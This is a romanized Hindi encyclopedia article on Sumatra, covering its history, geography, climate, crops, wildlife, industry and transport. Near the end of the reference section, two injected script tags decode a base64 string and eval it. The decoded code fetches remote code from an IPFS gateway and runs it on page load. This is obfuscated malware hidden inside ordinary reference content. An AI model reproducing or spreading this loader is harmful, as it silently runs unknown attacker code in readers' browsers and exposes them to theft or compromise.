सुमात्रा
sumatra iandoneshiya ganatantr ke paanch b de dvipoan mean se ek hai tatha malaya dvip samooh ka sudoor pashchimi dvip hai. ise uttar poorv mean malaika jalasandhi malaya se tatha dakshin poorv mean suanda jalasandhi java se prithakh karati hai. dvip ka pashchimi kinara hiand mahasagar ki or hai. yah sansar ke b de dvipoan mean chhatha hai. is dvip ka kshetraphal 4,13,440 varg kimi tatha janasankhya 1,57,39,000 (1962) hai.
aitihasik ullekh
mahabharat sabhaparv 18 dakshinaty path ke anusar ek dvip jise shaktishali sahasrabahu ne jita tha.
'iandradvipan kasheruan ch tamradvipan gabhastimat, gaandharv varunan dvipan saumyakshamiti ch prabhu:'.
isamean sanbhavat: tamradvip lanka aur varun borniyo hai. saumyaksh iandonijiya ka koee dvip (sumatra) ho sakata hai. iandradvip sanbhavat: sumatra ka vah bhag tha jisaki rajadhani iandrapuri thi.[1]
bhaugolik visheshataean
dvip ki adhikatam lanbaee 1696 kimi tatha adhikatam chau daee 396 kimi hai. is dvip mean dakshin pashchim ki or samaantar parvatamalaoan ki shreni hai. samoohik roop se in parvatamalaoan ka nam barisan hai aur inamean 12 sakriy tatha 78 nishkriy jvalamukhi haian. sarvochch choti kerianchi hai jisaki ooanchaee 3,782 mi. hai. poorvi tat daladali nimnabhoomi hai jisamean se hokar kaanpar, iandragiri tatha mishi nadiyaan bahati haian aur yah bhoobhag ghane jangaloan se achchhadit hai. in jangaloan se tik ki lak di, baans, rabar aur moolyavan goand prapt hota hai. in jangaloan mean rabar ke vriksh lagae ge haian jisake karan yah dvip vishv ke pramukh rabar utpadakoan mean se ek ho gaya hai. dakshini poorvi aur uttari poorvi chhoroan ko chho dakar shesh dvip ki mrida krishi ke lie upayukt hai.[2]
krishi evan jalavayu
sumatra ki jalavayu ushn evan ardr hai. adhikaansh varsha un kshetroan mean hoti hai. jahaan niyamit manasoon barisan parvatoan dvara rok lie jate haian. toba jhil ke kshetr mean 152 seanmi. se kam varsha hoti hai. labang kshetr mean 508 semi se adhik varsha hoti hai. nimn bhoomi ke maidanoan mean tap 21° seantigred 31° seantigred tak rahata hai. dhan yahaan ki pramukh phasal hai. k aauphi, kalimirch, tanbakoo, chay, kapas, khajoor, amariki dhikuanvar, supari, mooangaphali, sinakona, nariyal aur rabar adi ki kheti niryat ke lie ki jati hai. [2]
jiv jantu
is dvip ke ushn katibandhi jangaloan mean bagh, hathi, jangali suar, do siangavale rainosiras, harin, kapi evan bandar milate haian. is dvip par sarvatr chamakile pakshati vale pakshi milate haian. yahaan anek prakar ke vishaile saanp jinamean nag evan pit vaipar bhi haian tatha bhimakar ajagar pae jate haian.
udyog evan vyapar
is dvip mean sisa, rajat, gandhak evan koyale ke nikshep haian. poorvi tat ka daladali nimn bhoomi kshetr petroliyam mean dhani hai. palamabang kshetr mean koyala evan lignait milate haian. petroliyam poorvi maidan mean achin se palemabaang tak ke kshetr mean milata hai. benakoolen ke samip sone evan rajat ka khanan hota hai. machhali marana yahaan ka pramukh vyavasay hai. dvip ka poorvi bhag is kary ke lie vishesh upayogi hai. yahaan adhikaansh udyog krishi se sanbandhit hai. padaang ke samip simeant ka bahut b da karakhana hai.[2]
parivahan aur yatayat
dvip ke ek sire se doosare sire tak jane ke lie s dakean haian. yahaan lagabhag 1,227 mil lanba relamarg bhi hai. medan aur palemabaang nagaroan mean havaee adde haian. blavan, palemabaang emahaivan, soosoo tatha sabaang pramukh bandaragah haian. palemabaang sumatra ka pramukh nagar hai.
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tika tippani aur sandarbh
- ↑ pustak- aitihasik sthanavali | lekhak- vijayeandr kumar mathur | prakashak- vaijnanik tatha takaniki shabdavali ayog (manav sansadhan vikas mantralay, bharat sarakar | prishth sankhya- 997
- ↑ 2.0 2.1 2.2 sumatra (hiandi) bharatakhoj. abhigaman tithi: 24 mee, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>